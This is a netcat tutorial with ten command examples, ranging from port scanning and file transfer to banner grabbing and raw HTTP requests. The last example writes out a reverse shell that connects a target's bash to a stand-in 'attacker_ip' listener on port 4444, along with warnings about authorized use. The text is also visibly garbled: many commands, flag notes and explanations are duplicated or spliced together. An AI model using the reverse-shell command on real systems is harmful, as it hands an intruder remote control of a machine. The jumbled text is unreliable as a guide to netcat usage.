What is Netcat (nc)?
Netcat is a versatile networking utility that reads and writes data across network connections using TCP or UDP protocols. It's commonly used for port scanning, file transfers, port listening, and debugging network services.
Example 1
Simple Port Scanning
nc -zv google.com 80
Purpose: Check if a specific port is open on a remote host.
Flags:
Flags:
-z: Zero-I/O mode (scanning mode)-v: Verbose output
Note: This checks if port 80 is open on google.com without sending any data.
Example 2
Port Range Scanning
nc -zv 192.168.1.1 20-80
Purpose: Scan a range of ports on a target host.
Details: This scans ports 20 through 80 on the IP address 192.168.1.1 and reports which ports are open.
Details: This scans ports 20 through 80 on the IP address 192.168.1.1 and reports which ports are open.
Tip: Useful for quick network diagnostics and security audits.
Example 3
Create a Simple Chat Server
# On Server:
nc -l 1234
# On Client:
nc server_ip 1234
nc -l 1234
# On Client:
nc server_ip 1234
Purpose: Set up a basic two-way communication between two machines.
Flag:
Use Case: Quick messaging between systems or testing connectivity.
Flag:
-l tells netcat to listen for incoming connections on port 1234.Use Case: Quick messaging between systems or testing connectivity.
Example 4
File Transfer (Send)
# On Receiving Machine:
nc -l 1234 > received_file.txt
# On Sending Machine:
nc receiving_machine_ip 1234 < file_to_send.txt
nc -l 1234 > received_file.txt
# On Sending Machine:
nc receiving_machine_ip 1234 < file_to_send.txt
Purpose: Transfer files between two machines without FTP or SCP.
How it works: The receiving machine listens and redirects incoming data to a file, while the sending machine connects and pipes the file content.
How it works: The receiving machine listens and redirects incoming data to a file, while the sending machine connects and pipes the file content.
Security Warning: This method is unencrypted. Use for trusted networks only.
Example 5
Port Forwarding / Proxy
nc -l 8080 | nc target_host 80
Purpose: Create a simple port forwarder/proxy.
Explanation: This listens on port 8080 and forwards all traffic to port 80 on the target host.
Use Case: Quick and dirty port redirection for testing purposes.
Explanation: This listens on port 8080 and forwards all traffic to port 80 on the target host.
Use Case: Quick and dirty port redirection for testing purposes.
Example 6
Banner Grabbing
nc -v example.com 22
Purpose: Retrieve service banners to identify running services and versions.
Details: When you connect to a service port (like SSH on 22), many services send a banner with version information.
Security Use: Helps identify outdated or vulnerable services.
Details: When you connect to a service port (like SSH on 22), many services send a banner with version information.
Security Use: Helps identify outdated or vulnerable services.
Example 7
UDP Connection Test
nc -u -v target_host 53
Purpose: Test UDP connectivity (TCP is default).
Flag:
Example: Port 53 is typically used by DNS, which uses UDP.
Flag:
-u enables UDP mode.Example: Port 53 is typically used by DNS, which uses UDP.
Note: UDP is connectionless, so you won't get immediate confirmation of connectivity.
Example 8
HTTP Request
echo -e "GET / HTTP/1.1\r\nHost: example.com\r\n\r\n" | nc example.com 80
Purpose: Send a raw HTTP GET request to a web server.
Details: This manually crafts an HTTP request and sends it to port 80.
Use Case: Debugging web servers, testing HTTP responses, learning HTTP protocol.
Details: This manually crafts an HTTP request and sends it to port 80.
Use Case: Debugging web servers, testing HTTP responses, learning HTTP protocol.
Example 9
Keep Connection Alive with Timeout
nc -w 10 example.com 80
Purpose: Connect with a timeout limit.
Flag:
Use Case: Prevents hanging when a service is slow or unresponsive.
Flag:
-w 10 sets a 10-second timeout for connections.Use Case: Prevents hanging when a service is slow or unresponsive.
Example 10
Remote Command Execution (Reverse Shell)
# On Attacker/Listener Machine:
nc -l -p 4444
# On Target Machine:
nc attacker_ip 4444 -e /bin/bash
nc -l -p 4444
# On Target Machine:
nc attacker_ip 4444 -e /bin/bash
Purpose: Create a reverse shell for remote access.
Flag:
Warning: This is commonly used in penetration testing and by attackers.
Flag:
-e executes a program after connection (bash shell in this case).Warning: This is commonly used in penetration testing and by attackers.
Security Warning: This is a powerful feature that can be dangerous. Only use in authorized testing environments. Many systems disable the -e flag for security reasons.